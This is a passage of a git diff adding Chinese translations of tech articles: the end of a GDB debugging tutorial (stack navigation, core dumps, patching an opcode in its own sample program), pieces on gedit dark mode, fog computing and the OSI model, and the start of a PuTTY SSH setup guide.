+操作系统显示 PID 为 `2849`。打开一个单独的控制台窗口,移动到 `coredump` 应用程序的根目录,然后用 GDB 附加到该进程进行调试: + +``` +gdb attach 2849 +``` + +![attach GDB to coredump][36] + +当你用 GDB 附加到进程时,GDB 会立即停止进程运行。输入 `layout src` 和 `backtrace` 来检查调用堆栈: + +![layout src and backtrace output][37] + +输出显示在 `main.cpp` 第 92 行调用 `std::this_thread::sleep_for<...>(. ..)` 函数时进程中断。 + +只要你退出 GDB,该进程将继续运行。 + +你可以在 GDB 手册中找到有关 [附加调试正在运行的进程][38] 的更多信息。 + +#### 在堆栈中移动 + +在命令窗口,输入 `up` 两次可以在堆栈中向上移动到 `main.cpp` : + +![moving up the stack to main.cpp][39] + +通常,编译器将为每个函数或方法创建一个子程序。每个子程序都有自己的栈帧,所以在栈帧中向上移动意味着在调用栈中向上移动。 + +你可以在手册中找到有关 [堆栈计算][40] 的更多信息。 + +#### 指定源文件 + +当调试一个已经在运行的进程时,GDB 将在当前工作目录中寻找源文件。你也可以使用 [目录命令][41] 手动指定源目录。 + +### 评估转储文件 + +阅读 [创建和调试 Linux 的转储文件][42] 了解有关此主题的信息。 + +参考文章太长,简单来说就是: + +1. 假设你使用的是最新版本的 Fedora +2. 使用 `-c1` 开关调用 coredump:`coredump -c1` + + ![Crash meme][44] + +3. 使用 GDB 加载最新的转储文件:`coredumpctl debug` +4. 打开 TUI 模式并输入 `layout src` + +![coredump output][45] + +`backtrace` 的输出显示崩溃发生在距离 `main.cpp` 五个栈帧之外。回车直接跳转到 `main.cpp` 中的错误代码行: + +![up 5 output][46] + +看源码发现程序试图释放一个内存管理函数没有返回的指针。这会导致未定义的行为并引起 `SIGABRT`。 + +### 无符号调试 + +如果没有源代码,调试就会变得非常困难。当我在尝试解决逆向工程的挑战时,我第一次体验到了这一点。了解一些 [汇编语言][47] 的知识会很有用。 + +我们用例子看看它是如何运行的。 + +找到根目录,打开 `Makefile`,然后像下面一样编辑第 9 行: + +``` +CFLAGS =-Wall -Werror -std=c++11 #-g +``` + +要重新编译程序,先运行 `make clean`,再运行 `make`,最后启动 GDB。该程序不再有任何调试符号来引导源代码的走向。 + +![no debugging symbols][48] + +`info file` 命令显示二进制文件的内存区域和入口点: + +![info file output][49] + +`.text` 区段始终从入口点开始,其中包含实际的操作码。要在入口点添加断点,输入 `break *0x401110` 然后输入 `run` 开始运行程序: + +![breakpoint at the entry point][50] + +要在某个地址设置断点,使用取消引用运算符 `*` 来指定地址。 + +#### 选择反汇编程序风格 + +在深入研究汇编之前,你可以选择要使用的 [汇编风格][51]。 GDB 默认是 AT&T,但我更喜欢 Intel 语法。变更风格如下: + +``` +set disassembly-flavor intel +``` + +![changing assembly flavor][52] + +现在输入 `layout asm` 调出汇编代码窗口,输入 `layout reg` 调出寄存器窗口。你现在应该看到如下输出: + +![layout asm and layout reg output][53] + +#### 保存配置文件 + +尽管你已经输入了许多命令,但实际上还没有开始调试。如果你正在大量调试应用程序或尝试解决逆向工程的难题,则将 GDB 特定设置保存在文件中会很有用。 + +该项目的 GitHub 存储库中的 [gdbinit][54] 配置文件包含最近使用的命令: + +``` +set disassembly-flavor intel +set write on +break *0x401110 +run -c2 +layout asm +layout reg +``` + +`set write on` 命令使你能够在程序运行期间修改二进制文件。 + +退出 GDB 并使用配置文件重新启动 GDB : `gdb -x gdbinit coredump`。 + +#### 阅读指令 + +应用 `c2` 开关后,程序将崩溃。程序在入口函数处停止,因此你必须写入 `continue` 才能继续运行: + +![continuing execution after crash][55] + +`idiv` 指令进行整数除法运算:`RAX` 寄存器中为被除数,指定参数为除数。商被加载到 `RAX` 寄存器中,余数被加载到 `RDX` 中。 + +从寄存器角度,你可以看到 `RAX` 包含 `5`,因此你必须找出存储堆栈中位置为 `rbp-0x4` 的值。 + +#### 读取内存 + +要读取原始内存内容,你必须指定比读取符号更多的参数。在汇编输出中向上滚动一点,可以看到堆栈的划分: + +![stack division output][56] + +你最感兴趣的应该是 `rbp-0x4` 的值,因为它是 `idiv` 的存储参数。你可以从截图中看到`rbp-0x8` 位置的下一个变量,所以 `rbp-0x4` 位置的变量是 4 字节宽。 + +在 GDB 中,你可以使用 `x` 命令*查看*任何内存内容: + + +> `x/` < 可选参数 `n`、`f`、`u` > < 内存地址 `addr` > + +可选参数: + +* `n`:单元大小的重复计数(默认值:1) +* `f`:格式说明符,如 [printf][57] +* `u`:单元大小 + * `b`:字节 + * `h`:半字(2 个字节) + * w: 字(4 个字节)(默认) + * g: 双字(8 个字节) + +要打印 `rbp-0x4` 的值,请输入 `x/u $rbp-4` : + +![print value][58] + +如果你能记住这种模式,则可以直接查看内存。参见手册中的 [查看内存][59] 部分。 + +#### 操作汇编 + +子程序 `zeroDivide()` 发生运算异常。当你用向上箭头键向上滚动一点时,你会找到下面信息: + +``` +0x401211 <_Z10zeroDividev>              push   rbp +0x401212 <_Z10zeroDividev+1>            mov    rbp,rsp +``` + +这被称为 [函数前言][60]: + +1. 调用函数的基指针(`rbp`)存放在栈上 +2. 栈指针(`rsp`)的值被加载到基指针(`rbp`) + +完全跳过这个子程序。你可以使用 `backtrace` 查看调用堆栈。在 `main` 函数之前只有一个堆栈帧,所以你可以用一次 `up` 回到 `main` : + +![Callstack assembly][61] + +在你的 `main` 函数中,你会找到下面信息: + +``` +0x401431     cmp    BYTE PTR [rbp-0x12],0x0 +0x401435     je     0x40145f +0x401437     call   0x401211<_Z10zeroDividev> +``` + +子程序 `zeroDivide()` 仅在 `jump equal (je)` 为 `true` 时进入。你可以轻松地将其替换为 `jump-not-equal (jne)` 指令,该指令的操作码为 `0x75`(假设你使用的是 x86/64 架构;其他架构上的操作码不同)。输入 `run` 重新启动程序。当程序在入口函数处停止时,设置操作码: + +``` +set *(unsigned char*)0x401435 = 0x75 +``` + +最后,输入 `continue` 。该程序将跳过子程序 `zeroDivide()` 并且不会再崩溃。 + +### 总结 + +你会在许多集成开发环境(IDE)中发现 GDB 运行在后台,包括 Qt Creator 和 VSCodium 的 [本地调试][62] 扩展。 + +![GDB in VSCodium][63] + +了解如何充分利用 GDB 的功能很有用。一般情况下,并非所有 GDB 的功能都可以在 IDE 中使用,因此你可以从命令行使用 GDB 的经验中受益。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/1/gnu-project-debugger + +作者:[Stephan Avenwedde][a] +选题:[lkxed][b] +译者:[Maisie-x](https://github.com/Maisie-x) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/hansic99 +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/mistake_bug_fix_find_error.png +[2]: https://www.gnu.org/software/gdb/ +[3]: https://opensource.com/article/20/8/linux-dump +[4]: https://opensource.com/sites/default/files/uploads/gdb_output_no_dbg_symbols.png +[5]: https://opensource.com/sites/default/files/uploads/gdb_output_with_symbols.png +[6]: https://opensource.com/sites/default/files/uploads/gdb_output_crash_on_c1_switch.png +[7]: https://opensource.com/sites/default/files/uploads/gdb_output_info_source.png +[8]: http://dwarfstd.org/ +[9]: https://sourceware.org/gdb/current/onlinedocs/gdb/Compilation.html#Compilation +[10]: https://opensource.com/sites/default/files/uploads/gdb_output_info_shared.png +[11]: https://opensource.com/article/20/6/linux-libraries +[12]: https://opensource.com/sites/default/files/uploads/gdb_output_stopped_by_sigint.png +[13]: https://opensource.com/sites/default/files/uploads/gdb_output_list_main.png +[14]: https://opensource.com/sites/default/files/uploads/gdb_output_breakpoint_added.png +[15]: https://opensource.com/sites/default/files/uploads/gdb_output_break_at_main.png +[16]: https://opensource.com/sites/default/files/images/gdb_output_screen_corrupted.png +[17]: https://sourceware.org/gdb/onlinedocs/gdb/TUI-Keys.html#TUI-Keys +[18]: https://opensource.com/sites/default/files/uploads/gdb_output_stop_on_watchpoint_1.png +[19]: https://opensource.com/sites/default/files/uploads/gdb_output_stop_on_watchpoint_2.png +[20]: https://opensource.com/sites/default/files/uploads/gdb_output_info_watchpoints.png +[21]: https://opensource.com/sites/default/files/uploads/gdb_output_info_breakpoints.png +[22]: https://opensource.com/sites/default/files/uploads/gdb_output_disabled_breakpoints.png +[23]: https://opensource.com/sites/default/files/uploads/gdb_output_set_conditional_breakpoint.png +[24]: https://opensource.com/sites/default/files/uploads/gdb_output_print_variable.png +[25]: https://opensource.com/sites/default/files/uploads/gdb_output_modify_breakpoint.png +[26]: https://opensource.com/sites/default/files/uploads/gdb_output_syscall_catch.png +[27]: https://sourceware.org/gdb/current/onlinedocs/gdb/Breakpoints.html#Breakpoints +[28]: https://opensource.com/sites/default/files/uploads/gdb_output_print_and_modify.png +[29]: https://opensource.com/sites/default/files/uploads/gdb_output_whatis.png +[30]: https://opensource.com/sites/default/files/uploads/gdb_output_info_scope_main.png +[31]: https://opensource.com/sites/default/files/uploads/gdb_output_info_locals_main.png +[32]: https://sourceware.org/gdb/current/onlinedocs/gdb/Symbols.html +[33]: https://man7.org/linux/man-pages/man1/ps.1.html +[34]: https://man7.org/linux/man-pages/man1/top.1.html +[35]: https://opensource.com/sites/default/files/uploads/coredump_running.png +[36]: https://opensource.com/sites/default/files/uploads/gdb_output_attaching_to_process.png +[37]: https://opensource.com/sites/default/files/uploads/gdb_output_backtrace.png +[38]: https://sourceware.org/gdb/current/onlinedocs/gdb/Attach.html#Attach +[39]: https://opensource.com/sites/default/files/uploads/gdb_output_stackframe_up.png +[40]: https://sourceware.org/gdb/current/onlinedocs/gdb/Stack.html#Stack +[41]: https://ftp.gnu.org/old-gnu/Manuals/gdb/html_node/gdb_48.html#SEC49 +[42]: https://opensource.com/article/20/8/linux-dump +[43]: https://creativecommons.org/licenses/by-sa/4.0/ +[44]: https://opensource.com/sites/default/files/uploads/crash.png +[45]: https://opensource.com/sites/default/files/uploads/gdb_output_coredump.png +[46]: https://opensource.com/sites/default/files/uploads/gdb_output_up_five.png +[47]: https://en.wikipedia.org/wiki/Assembly_language +[48]: https://opensource.com/sites/default/files/uploads/gdb_output_no_debugging_symbols.png +[49]: https://opensource.com/sites/default/files/uploads/gdb_output_info_file.png +[50]: https://opensource.com/sites/default/files/uploads/gdb_output_break_at_start.png +[51]: https://en.wikipedia.org/wiki/X86_assembly_language#Syntax +[52]: https://opensource.com/sites/default/files/uploads/gdb_output_disassembly_flavor.png +[53]: https://opensource.com/sites/default/files/uploads/gdb_output_layout_reg_asm.png +[54]: https://github.com/hANSIc99/core_dump_example/blob/master/gdbinit +[55]: https://opensource.com/sites/default/files/uploads/gdb_output_asm_div_zero.png +[56]: https://opensource.com/sites/default/files/uploads/gdb_output_stack_division.png +[57]: https://en.wikipedia.org/wiki/Printf_format_string#Type_field +[58]: https://opensource.com/sites/default/files/uploads/gdb_output_examine_1.png +[59]: https://sourceware.org/gdb/current/onlinedocs/gdb/Memory.html +[60]: https://en.wikipedia.org/wiki/Function_prologue +[61]: https://opensource.com/sites/default/files/uploads/gdb_output_callstack_assembly_0.png +[62]: https://github.com/WebFreak001/code-debug +[63]: https://opensource.com/sites/default/files/uploads/vs_codium_native_debug.png diff --git a/published/202207/20210120 Highlighted Text Not Visible in gedit in Dark Mode- Here-s What You Can Do.md b/published/202207/20210120 Highlighted Text Not Visible in gedit in Dark Mode- Here-s What You Can Do.md new file mode 100644 index 0000000000..a530d5f379 --- /dev/null +++ b/published/202207/20210120 Highlighted Text Not Visible in gedit in Dark Mode- Here-s What You Can Do.md @@ -0,0 +1,84 @@ +[#]: collector: "lujun9972" +[#]: translator: "void-mori" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14833-1.html" +[#]: subject: "Highlighted Text Not Visible in gedit in Dark Mode? Here’s What You Can Do" +[#]: via: "https://itsfoss.com/gedit-dark-mode-problem/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" + +gedit 深色模式下高亮文本不可见?以下是你能做的 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/16/094145b0gdwez5zo0zyuhz.jpg) + +我喜欢 [在 Ubuntu 中使用深色模式][1]。在我看来深色模式能够缓解视觉疲劳,让系统看起来更加的赏心悦目。 + +我发现了一个 [gedit][2] 文本编辑器的小麻烦,如果你在深色模式下使用它,你也许也会遇到。 + +默认情况下 gedit 高亮当前光标所在的行。这是一个非常有用的功能,但是如果你在 Linux 系统中开启了深色模式,那么你将会感到痛苦。为什么?因为被高亮的文本将不再变得可读。你自己看吧: + +![Text on the highlighted line is hardly visible][3] + +如果你选择文本,它将变得可读,但这并不是一个让人感到有多么愉快的阅读或者编辑体验。(LCTT 校注:在新的 Ubuntu 22.04 中,这一情况已经有所改善,“高亮当前行”已被取消勾选) + +![Selecting the text makes it better but that’s not a convenient thing to do for all lines][4] + +好消息是你不需要再忍受它。我将演示几个步骤让你能够同时享受 gedit 以及系统的深色模式。 + +### 让 gedit 在深色模式下阅读体验友好 + +你基本上有两个选择: + + 1. 禁用高亮当前行,但也同时意味着你必须清楚地知道你在哪一行。 + 2. 改变默认的颜色设置,但编辑器的颜色会变得稍微有些不同,而且如果你更改系统主题,它不会自动切换到浅色模式。 + +在 gedit 或者 GNOME 的开发者解决这个问题之前,这是你必须要做的应变和妥协。 + +#### 选项1: 禁止高亮当前行 + +当你打开 gedit 后,点击汉堡菜单然后选择“首选项Preferences”。 + +![Go to Preferences][5] + +在查看选项卡,你应该看到在 “高亮Highlighting” 区域的下方的 “高亮当前行Highlight current line” 选项。取消勾选这个选项,马上就可以看到效果。 + +![Disable highlighting current line][6] + +“高亮当前行”是一个有用的功能,如果你想继续使用它,请选择第二个选项。 + +#### 选项2: 更改编辑器的颜色主题 + +在“首选项Preferences”窗口,找到 “字体与颜色Font & Colors” 标签页,然后将颜色主题更改为 “Oblivion”、“Solarized Dark”,或者 “Cobalt”。 + +![Change the color scheme][7] + +正如我前面所提到的,缺点就是当你把系统主题切换为浅色模式时,编辑器将不会自动切换到浅色模式。 + +### 开发者应该修复的一个 bug + +这里 [有几个 Linux 可用的文本编辑器][8] ,但是为了快速阅读或编辑文本文件,我更推荐使用 gedit。尽管如此,小烦恼仍旧是小烦恼。开发者应该在将来的版本中为这个很好的文本编辑器修复这个问题,让我们不再求助于这些应对办法。 + +你呢?你在你的系统上使用深色模式还是浅色模式?你注意到 gedit 的这个问题了吗?你有使用什么方法去解决它吗?欢迎分享你的经验。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/gedit-dark-mode-problem/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[void-mori](https://github.com/void-mori) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/dark-mode-ubuntu/ +[2]: https://wiki.gnome.org/Apps/Gedit +[3]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/01/gedit-dark-mode-problem.png?resize=779%2C367&ssl=1 +[4]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/01/gedit-dark-mode-issue.png?resize=779%2C367&ssl=1 +[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/01/gedit-preference.jpg?resize=777%2C527&ssl=1 +[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/01/disable-highlight-line-gedit.jpg?resize=781%2C530&ssl=1 +[7]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/01/change-color-scheme-gedit.jpg?resize=785%2C539&ssl=1 +[8]: https://itsfoss.com/best-modern-open-source-code-editors-for-linux/ diff --git a/published/202207/20210511 What is fog computing.md b/published/202207/20210511 What is fog computing.md new file mode 100644 index 0000000000..7984cc82d7 --- /dev/null +++ b/published/202207/20210511 What is fog computing.md @@ -0,0 +1,67 @@ +[#]: subject: (What is fog computing?) +[#]: via: (https://opensource.com/article/21/5/fog-computing) +[#]: author: (Seth Kenlon https://opensource.com/users/seth) +[#]: collector: (lujun9972) +[#]: translator: (hanszhao80) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14782-1.html) + +什么是雾计算? +====== + +> 了解由我们生活中的所有连接设备组成的网络。 + +![](https://img.linux.net.cn/data/attachment/album/202207/01/120728yne9qv0e2vc5ucm3.jpg) + +在早期,计算机既笨重又昂贵,计算机用户很少,他们必须在计算机上的预留时间内亲自来处理他们的打孔卡punchcard。被称为 [大型机][2]Mainframe 的系统进行了许多创新,并在终端机terminal(没有自己的 CPU 的桌面计算机)上实现了分时time-shared任务。 + +时至今日,强大的计算设备能做到 [价格低至 35 美元,且大小不超过一张信用卡][3]。这甚至还没有涵盖现代生活中负责收集和处理数据的所有小设备。从高层次的角度来看这些计算机的集合,你可以想象得到,所有这些设备多得像云中的水滴一样。 + +碰巧“云计算cloud computing”一词已经被占用,因此需要为由物联网(IoT)和其他具有战略意义的服务器组成的网络提供一个独特的名称。此外,如果已经有一个代表数据中心节点的云,那么在云之外与我们交融的这些节点肯定有其独特之处。 + +### 欢迎来到雾计算 + +云通过互联网提供计算服务。构成云的数据中心很大,但与潜在客户的数量相比相对较少。这表明当数据在云及其众多用户之间来回传送时存在潜在的瓶颈。 + +相比之下,雾计算Fog Computing可以在数量上超过其潜在客户,而不会出现瓶颈,因为设备执行大部分数据的收集或计算。它是云的外部“边缘”,是云落地的部分。 + +### 雾和边缘计算 + +雾计算和 [边缘计算][4]edge computing 本质上是同义词。两者都与云和物联网密切相关,并做出相同的架构假设: + +- 你离 CPU 越近,数据传输就越快。 +- 像 [Linux][5] 一样,小型专用计算机,可以“做一件事并把它做好”,这是一个强大的优势(当然,我们的设备实际上不仅仅做一件事,但从高层次上看,你购买的用于监测健康的智能手表本质上是在做“一”件事)。 +- 离线是不可避免的,但好的设备可以在此期间同样有效地运行,然后在重新连接时同步。 +- 本地设备能比大型数据中心更简单、更便宜。 + +### 边缘网络 + +将雾计算视为与云完全分离的实体很诱人,但它们毕竟是组成一个整体的两个部分。云需要数字企业的基础设施,包括公共云提供商、电信公司,甚至是运行自己服务的专业公司。本地化服务也很重要,可以在云核心与其数以百万计的客户之间提供中转站waystations。 + +雾计算位于云的边缘,无论客户身在何处,都与他们紧密联系在一起。有时这是一个消费环境,例如你自己的家或汽车,而另一些时候这是一种商业利益,例如零售店中的价格监控设备或工厂车间的重要的安全传感器。 + +### 雾计算就在你身边 + +雾计算由我们生活中的所有连接设备组成:无人机drone、电话、手表、健身监视器、安全监视器、家庭自动化、便携式游戏设备、园艺自动化、天气传感器、空气质量监视器等等。理想情况下,它提供的数据有助于建立一个更好、更明智的未来。有许多伟大的开源项目正朝着改善健康的方向而努力 —— 甚至只是让生活变得更有趣一点儿 —— 这一切都得益于雾和云计算。无论如何,_我们的_ 工作是确保它 [保持开放][7]。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/5/fog-computing + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[hanszhao80](https://github.com/hanszhao80) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/computer_laptop_code_programming_mountain_view.jpg?itok=yx5buqkr (Man at laptop on a mountain) +[2]: https://opensource.com/article/19/9/linux-mainframes-part-1 +[3]: https://opensource.com/resources/raspberry-pi +[4]: https://www.redhat.com/en/topics/edge-computing/what-is-edge-computing +[5]: https://opensource.com/resources/linux +[6]: https://www.redhat.com/architect/edge-computing-essentials +[7]: https://opensource.com/article/20/10/keep-cloud-open diff --git a/published/202207/20210511 What is the OSI model.md b/published/202207/20210511 What is the OSI model.md new file mode 100644 index 0000000000..01b9089954 --- /dev/null +++ b/published/202207/20210511 What is the OSI model.md @@ -0,0 +1,93 @@ +[#]: subject: (What is the OSI model?) +[#]: via: (https://jvns.ca/blog/2021/05/11/what-s-the-osi-model-/) +[#]: author: (Julia Evans https://jvns.ca/) +[#]: collector: (lujun9972) +[#]: translator: (hanszhao80) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14786-1.html) + +OSI 模型是什么? +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/02/153620k7nwc6nn2b6n6p2c.jpg) + +(LCTT 校注:作者原文已经大篇幅进行了修订更新,本文据之前的版本翻译。) + +今天我在推特上发布了一些关于 OSI 模型如何与 TCP/IP 工作原理的实际表现不相符的观点,这让我思考——OSI 模型到底是什么?通过阅读推特上的一些回复发现,似乎至少存在三种不同的思考方式: + +1. TCP/IP 工作原理的字面描述 +2. 一个可以用来描述和比较很多不同的网络协议的抽象模型 +3. 对 1980 年代的一些计算机网络协议的字面描述,这些协议如今大多已不再使用 + +在这篇文章中,我不打算试图争辩以上哪一个才是“真正”的 OSI 模型——似乎不同的人以所有这些方式思考它。这不重要。 + +### OSI 模型有七层 + +在我们讨论 OSI 模型的含义之前,让我们大致地讨论一下它是什么。它是一个抽象模型,用于描述网络如何在七个编号的层上工作: + +- 第一层:物理层 +- 第二层:数据链路层 +- 第三层:网络层 +- 第四层:传输层 +- 第五层:会话层 +- 第六层:表示层 +- 第七层:应用层 + +我不会再费时地去解释每一层的含义,网上有上千种解释可供查询。 + +### OSI 模型:TCP/IP 工作原理的字面描述 + +首先,我想谈谈人们在实践中使用 OSI 模型的一种常见方式:作为对 TCP/IP 工作原理的字面描述。OSI 模型的某些层非常容易映射到 TCP/IP: + +- 第二层对应以太网 +- 第三层对应 IP +- 第四层对应 TCP 或 UDP(或 ICMP 等) +- 第七层对应 TCP 或 UDP 包内的任何内容(例如 DNS 查询) + +这种映射对第二、三、四层很有意义——TCP 数据包有三个标头header对应于这三个层(以太网标头、IP 标头和 TCP 标头)。 + +用数字来描述 TCP 数据包中的不同标头非常有用——如果你说“第二层”,很显然它位于第三层“下方”,因为二比三小。 + +“OSI 模型作为字面描述”的古怪之处在于,第五层和第六层并不真正对应于 TCP/IP 中的任何内容——我听说过很多关于第五层或第六层可能是什么的不同解释(你可以说第五层是 TLS 或其他东西!)但它们没有像第二、三、四层那样“每一层在 TCP 数据包中都有相应的标头”这样的明确对应关系。 + +此外,TCP/IP 的某些部分即使在第二层到第四层也不能很好地适应 OSI 模型——例如,哪一层是 ARP 数据包?ARP 数据包发送一些带有以太网标头的数据,这是否意味着它们是第三层?或是第二层?列出不同 OSI 层的维基百科文章将其归类为“第 2.5 层”,这并不令人满意。 + +因为 OSI 模型有时用于教授 TCP/IP,若搞不清楚它的哪些部分可以映射到 TCP/IP,而哪些部分不能,则会令人困惑。这才是真的问题。 + +### OSI 模型:用于比较网络协议的一个抽象 + +我听说过的另一种关于 OSI 的思考方式是,它是一种抽象,可以用来在许多不同的网络协议之间进行类比。例如,如果你想了解蓝牙协议的工作原理,也许你可以使用 OSI 模型来帮助你——这是我在 [这个网页][1] 上找到的一张图表,显示了蓝牙协议如何适配 OSI 模型。 + +![][2] + +另一个例子是,[这篇维基百科文章][3] 有一个 OSI 层列表,详细划分了哪些特定的网络协议对应于这些 OSI 层。 + +### OSI 模型:一些过时协议的字面描述 + +维基百科上的一些非常简短的研究表明,除了对这七层的抽象描述之外,OSI 模型还包含了 [一组实现这些层的特定协议][4]。显然,这发生在 70 年代和 80 年代的 [协议战争][5] 时期,OSI 模型失败了,TCP/IP 则取得了胜利。 + +这就解释了为什么 OSI 模型无法与 TCP/IP 很好地对应,因为如果当时“获胜”的是 OSI 协议,那么 OSI 模型 _将_ 完全对应于互联网网络的实际工作方式。 + +### 结语 + +我写这篇文章的初衷是,当我最初学习 OSI 模型时,我发现它非常令人困惑(所有这些层是什么?它们是真实存在的吗?这是网络的实际工作原理吗?发生了什么?)我希望有人告诉我这个只使用 TCP/IP 网络协议的人,只需了解 OSI 模型第二、三、四和七层与 TCP/IP 的关系,然后忽略它的所有其他内容即可。所以我希望这篇文章对某些人能有所帮助! + +-------------------------------------------------------------------------------- + +via: https://jvns.ca/blog/2021/05/11/what-s-the-osi-model-/ + +作者:[Julia Evans][a] +选题:[lujun9972][b] +译者:[hanszhao80](https://github.com/hanszhao80) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://jvns.ca/ +[b]: https://github.com/lujun9972 +[1]: https://flylib.com/books/en/4.215.1.116/1/ +[2]: https://jvns.ca/images/bluetooth.gif +[3]: https://en.wikipedia.org/wiki/List_of_network_protocols_(OSI_model) +[4]: https://en.wikipedia.org/wiki/OSI_protocols +[5]: https://en.wikipedia.org/wiki/Protocol_Wars diff --git a/published/202207/20210602 Establish an SSH connection between Windows and Linux.md b/published/202207/20210602 Establish an SSH connection between Windows and Linux.md new file mode 100644 index 0000000000..edc6789ac8 --- /dev/null +++ b/published/202207/20210602 Establish an SSH connection between Windows and Linux.md @@ -0,0 +1,207 @@ +[#]: subject: (Establish an SSH connection between Windows and Linux) +[#]: via: (https://opensource.com/article/21/6/ssh-windows) +[#]: author: (Stephan Avenwedde https://opensource.com/users/hansic99) +[#]: collector: (lujun9972) +[#]: translator: (yjacks) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14855-1.html) + +如何从 Windows 上用 SSH 连接到 Linux +====== + +> 使用开源的 PuTTY 工具,从 Windows 建立到 Linux 的 SSH 连接。 + +![](https://img.linux.net.cn/data/attachment/album/202207/23/110039pjbd9jbbc84gbz2f.jpg) + +在 Linux 世界中,安全外壳secure shell(SSH)协议是最为常用的、通过命令行控制远程计算机的方式。SSH 是真正的 Linux 原创,但是它在 Windows 世界中也越来越流行。甚至有了一份官方的 [Windows 的 SSH 文档][2],那篇文档阐述了使用 [OpenSSH][3] 控制 Windows 的方法。 + +这篇文章展示了如何使用了流行的开源工具 [PuTTY][4],建立一个从 Windows 到 Fedora 33 Linux 系统的 SSH 连接。 + +### 使用 SSH 的方法 + +SSH 使用客户端-服务器模式,即 SSH 客户端会创建到 SSH 服务端的连接。SSH 服务器通常会作为守护进程Daemon运行,所以它常被称为 SSHD。你很难找到一个不自带 SSH 守护进程的 Linux 发行版。在 Fedora 33 中,已安装了 SSH 守护进程,但是并未激活。 + +你可以使用 SSH 控制几乎所有的 Linux 机器,无论它是作为虚拟机还是作为网络上的物理设备运行。一个常见的用例是无头headless配置的嵌入式设备,如树莓派。SSH 也可以用做一个其它网络服务的隧道。因为 SSH 连接是加密的,所以你可以使用 SSH 作为一个任何默认不提供加密的协议的传输层。 + +在这篇文章中,我将解释使用 SSH 的四个方式:1、如何在 Linux 端配置 SSH 守护进程;2、如何设置远程控制台连接;3、如何通过网络复制文件,4. 如何将 SSH 作为某些协议的隧道。 + +### 1、配置 SSHD + +将 Linux 系统(文中是 Fedora 33)作为 SSH 服务器,允许 PuTTY SSH 客户端进行连接。首先,检查守护进程的 SSH 配置。配置文件放在 `/etc/ssh/sshd_config`,它包含了许多选项,通过取消掉相关行的注释就可以激活: + +``` +#       $OpenBSD: sshd_config,v 1.100 2016/08/15 12:32:04 naddy Exp $ + +# This is the sshd server system-wide configuration file.  See +# sshd_config(5) for more information. + +# This sshd was compiled with PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin + +# The strategy used for options in the default sshd_config shipped with +# OpenSSH is to specify options with their default value where +# possible, but leave them commented.  Uncommented options override the +# default value. + +Include /etc/ssh/sshd_config.d/*.conf + +#Port 22 +#AddressFamily any +#ListenAddress 0.0.0.0 +#ListenAddress :: +``` + +没有取消任何注释的默认配置在这个示例中应该是可以工作的。要检查 SSH 守护进程是否已经运行,输入 `systemctl status sshd`: + +``` +$ systemctl status sshd +● sshd.service - OpenSSH server daemon +   Loaded: loaded (/usr/lib/systemd/system/sshd.service; enabled; vendor preset: enabled) +   Active: active (running) since Fri 2018-06-22 11:12:05 UTC; 2 years 11 months ago +     Docs: man:sshd(8) +           man:sshd_config(5) + Main PID: 577 (sshd) +    Tasks: 1 (limit: 26213) +   CGroup: /system.slice/sshd.service +           └─577 /usr/sbin/sshd -D -oCiphers=[aes256-gcm@openssh.com][5],chacha20-[...] +``` + +如果它处于未激活inactive状态,使用 `systemctl start sshd` 命令启动它。 + +### 2、设置远程控制台 + +在 Windows 下 [下载 PuTTY 安装程序][6],然后安装并打开它。你应看到一个像这样的窗口: + +![PuTTY configuration screen][7] + +在“主机名(或 IP 地址)Host Name (or IP address)”输入框,键入你的 Linux 系统的连接信息。本文设置了一个 Fedora 33 虚拟机,它使用桥接网络适配器,使我可以由 IP 地址 `192.168.1.60` 连接这个系统。点击“打开Open”,应会如图示的打开一个窗口: + +![PutTTY security alert][9] + +这是 SSH 的安全措施之一,是为了防止[中间人攻击][10]man-in-the-middle attack。消息中的指纹应该匹配 Linux 系统中放在 `/etc/ssh/ssh_host_ed25519_key.pub` 的密钥。PuTTY 将这个密钥以 [MD5 哈希值][11] 的方式打印出来。要检查它的真实性,切换到 Linux 系统并打开一个控制台,然后输入: + +``` +ssh-keygen -l -E md5 -f /etc/ssh/ssh_host_ed25519_key.pub +``` + +输出应该和 PuTTY 展示的指纹一致: + +``` +$ ssh-keygen -l -E md5 -f /etc/ssh/ssh_host_ed25519_key.pub +256 MD5:E4:5F:01:05:D0:F7:DC:A6:32 no comment (ED25519) +``` + +点击“Yes”以确认 PuTTY 的安全提示。主机系统的指纹现在存储在 PuTTY 的信任列表中,其位于 Windows 的注册表中的: + +``` 